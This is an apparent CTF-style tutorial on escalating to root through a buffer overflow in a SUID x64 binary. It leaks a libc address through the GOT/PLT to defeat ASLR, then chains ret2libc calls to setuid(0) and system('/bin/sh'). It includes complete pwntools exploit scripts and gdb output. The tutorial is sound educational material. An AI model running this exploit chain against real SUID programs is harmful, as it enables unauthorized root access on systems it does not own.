Binary Privilege Escalation in x64. Defeating ASLR with Leaks

Title

It is very common, mostly in CTF challenges, to abuse a binary exploitation to retrieve a shell from an unprivilege user to root user.

TLDR: In this example we are going to use a binary called jl_bin with a SUID permission and vulnerable to a Buffer Overlow. ASLR protection is enabled in x64 architecture so we have to leak the libc base address of the GOT table to spawn a shell giving the libc offsets of system and setuid.


What is setuid/SUID permission?

SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. Normally in Linux/Unix when a program runs, it inherits access permissions from the logged in user. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it.

How could we find these binaries? Using this command:

find / -perm -4000 2>/dev/null

For example, sudo binary has a SUID permission because allows a user to run a temporary elevated process. The letter s indicates that the binary has SUID enabled.

> ls -ll /usr/bin/sudo
-r-s--x--x  1 root  wheel  370720 May  4 09:02 /usr/bin/sudo

Therefore, if we could exploit a SUID binary that its owner is root we could privesc.


Binary Protections

Using gdb, in my case with peda, allows us to check if the binary has some protections:

> gdb jl_bin

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

What does it means?

Protection Description
CANARY Certain value put on the stack and validated before that function is left again. If the canary value is not correct, then the stack might have been overwritten/corrupted and the application is stopped.
FORTIFY The compiler will try to intelligently read the code it is compiling/building. When it sees a C-library function call against a variable whose size it can deduce, it will replace the call with a FORTIFY’ed function call, passing on the maximum size for the variable. If this special function call notices that the variable is being overwritten beyond its boundaries, it forces the application to quit immediately.
NX (non-execute) The application, when loaded in memory, does not allow any of its segments to be both writable and executable.
PIE (Position Independent Executable) Tells the loader which virtual address it should use. Combined with in-kernel ASLR, PIE applications have a more diverge memory organization, making attacks that rely on the memory structure more difficult.
RELRO (Relocation Read-Only) Headers in the binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done, but before the application itself is launched.

In addition to that, kernel ASLR protection is enabled by default. Address space layout randomization (ASLR) is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.

To check if is enabled, run:

> cat /proc/sys/kernel/randomize_va_space
2

Exploiting the Buffer Overflow

When the program is executed, a password is required. What happen if we send a lot of As?

> ./jl_bin
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.
Segmentation fault

Perfect, a Segmentation Fault. Let’s see it in gdb:

> gdb jl_bin
> gdb-peda$ r

Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fe877a6e504 (<__GI___libc_write+20>:    cmp    rax,0xfffffffffffff000)
RDX: 0x7fe877b418c0 --> 0x0
RSI: 0x4319c0 ("access denied.\nssword: ")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffd474a9068 ('A' <repeats 151 times>)
RIP: 0x401618 (<auth+261>:      ret)
R8 : 0x7fe877b46500 (0x00007fe877b46500)

In 64 binaries, a direct overwrite in RIP is not possible, but the process is stuck in a ret call. We can observe that the stack pointer (RSP) is overwrited with As : ‘A’ <repeats 151 times>.

Therefore, We need to put a valid direction in RSP to have a succesfull exploitation.

To know the exact amount of junk to send to the input to reach a Buffer Overflow, we could use pattern_create and pattern_offset of peda.

> gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

gdb-peda$ run
Starting program: /root/Downloads/rop/jl_bin
Enter access password: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAA
oAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

access denied.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fa95451c504 (<__GI___libc_write+20>:    cmp    rax,0xfffffffffffff000)
RDX: 0x7fa9545ef8c0 --> 0x0
RSI: 0x9dc9c0 ("access denied.\nssword: ")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fff3d39ea58 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")


gdb-peda$ pattern_offset AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA found at offset: 136

The number of junk characters to overwrite the content of the RSP is 136. Therefore, we are going to start our exploit. The exploit is developed in python2 using the amazing pwn library.

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136

payload = junk

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

p.interactive(prompt="")

But… this program does not do anything. We need to overwrite RSP with some valid direction to take advantage. ASLR is protecting the system randomizing address, and in 64 bits there is almost impossible to bruteforce the address space, so we need something extra… Leaks.


What is a Leak?

Firstly, we need to vaguely describe PLT and GOT:

More info

Since the GOT and PLT are used directly from anywhere in the program, they need to have a known static address in memory. In addition, the GOT needs to have write permissions, because when the address of a function is resolved, it is written into its corresponding GOT entry. Moreover, the addresses in the GOT section are static (not affected by ASLR).

Therefore, using puts to print the address of the puts function in the libc mapped in the GOT table, would allow us to retrieve the base address of libc to call other functions… is a bit tricky but we are going step by step.


Exploiting the leak

Firstly, we need three things:

> ROPgadget --binary jl_bin > gadgets.txt
> cat gadgets.txt | grep "pop rdi"
0x000000000040179b : pop rdi ; ret
>objdump -D jl_bin | grep puts
0000000000401050 <puts@plt>:
  401050:       ff 25 d2 2f 00 00       jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>

Finally our exploit will look like this:

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)

payload = junk + pop_rdi + got_put + plt_put

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

p.interactive(prompt="")

Running:

python exploit.py
[+] Starting local process './jl_bin': pid 1847
[+] Leaked puts@GLIBC: \x10F\xb5\xa6\x7f\x00\x00
[*] Stopped process './jl_bin' (pid 1847)

There is a problem, if the process is stopped, the address leaked will be randomized in the next execution. We need to preserve the process open again. To achieve that, we could call to main funcion after leaking the address. The address of main is 0x401619.

> objdump -D jl_bin | grep main
  401194:       ff 15 56 2e 00 00       callq  *0x2e56(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:

Our exploit:

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

p.interactive(prompt="")

Ret2libc

Once we have leaked the puts address of libc we need to search the offset of the puts address in libc to reach the base address of libc. Knowing this address will allow us to call system functions and retrieve a shell.

> locate libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6

> readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep puts
   426: 0000000000071910   413 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5

The address of puts in libc is 0x71910. Then the base of the libc address is: leaked address - 0x71910.

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

#unpack again
leaked_puts = u64(leaked_puts)

libc_put = 0x71910

offset = leaked_puts - libc_put

log.info("glibc offset: %x" % offset)

p.interactive(prompt="")

Now we could search for system and /bin/sh to spawn a shell:

readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep system
  1418: 00000000000449c0    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

#unpack again
leaked_puts = u64(leaked_puts)

libc_put = 0x71910

offset = leaked_puts - libc_put

log.info("glibc offset: %x" % offset)

libc_sys = 0x449c0
libc_sh = 0x181519

sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)

payload = junk + pop_rdi + sh + sys

p.sendline(payload)
p.recvline()
p.recvline()

p.interactive(prompt="")

Let check the exploit:

$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ python exploit.py
[+] Starting local process './jl_bin': pid 2071
[+] Leaked puts@GLIBC: \x105\xb7\x7f\x00\x00
[*] glibc offset: 7fb73516c000
[*] Switching to interactive mode
id
uid=1000(test) gid=1000(test) groups=1000(test)

The shell works! But we have not escalate privileges… we need to invoke setuid before calling the shell.

> readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep setuid
    25: 00000000000c7500   144 FUNC    WEAK   DEFAULT   13 setuid@@GLIBC_2.2.5

Full exploitation

The final exploit would be:

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

#unpack again
leaked_puts = u64(leaked_puts)

libc_put = 0x71910

offset = leaked_puts - libc_put

log.info("glibc offset: %x" % offset)

libc_sys = 0x449c0
libc_sh = 0x181519

sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)

# setuid
setuid = p64(0x0)
libc_setuid = p64(0xc7500 + offset)

payload = junk + pop_rdi + setuid + libc_setuid + pop_rdi + sh + sys

p.sendline(payload)
p.recvline()
p.recvline()

p.interactive(prompt="")

And the exploitation:


References: